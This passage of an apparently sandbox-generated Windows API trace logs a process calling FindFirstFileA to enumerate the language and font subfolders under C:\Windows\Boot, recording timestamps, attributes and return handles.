out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.341] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\cs-CZ\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.342] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\da-DK\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.343] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\de-DE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.343] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\el-GR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.344] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.345] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\es-ES\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.346] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\fi-FI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.346] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\fr-FR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.347] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\hu-HU\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.348] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\it-IT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.349] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\ja-JP\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.350] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\ko-KR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.351] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\nb-NO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.352] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\nl-NL\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.353] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\pl-PL\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.353] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\pt-BR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.355] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\pt-PT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.355] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\ru-RU\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.356] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\sv-SE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe125ee6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe125ee6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.356] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\tr-TR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.358] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\zh-CN\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.358] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\zh-HK\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.359] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\zh-TW\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.359] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\Fonts\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.370] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e4fb0c2, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e4fb0c2, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.372] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\cs-CZ\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.372] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\da-DK\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.373] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\de-DE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.374] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\el-GR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.375] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.375] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\es-ES\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.376] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\fi-FI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2569b6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.377] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\fr-FR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.378] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\hu-HU\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.378] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\it-IT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.379] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\ja-JP\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.380] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\ko-KR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.381] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\nb-NO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.381] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\nl-NL\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.382] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\pl-PL\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.383] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\pt-BR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.383] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\pt-PT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.384] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\ru-RU\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.384] FindFirstFileA (in: 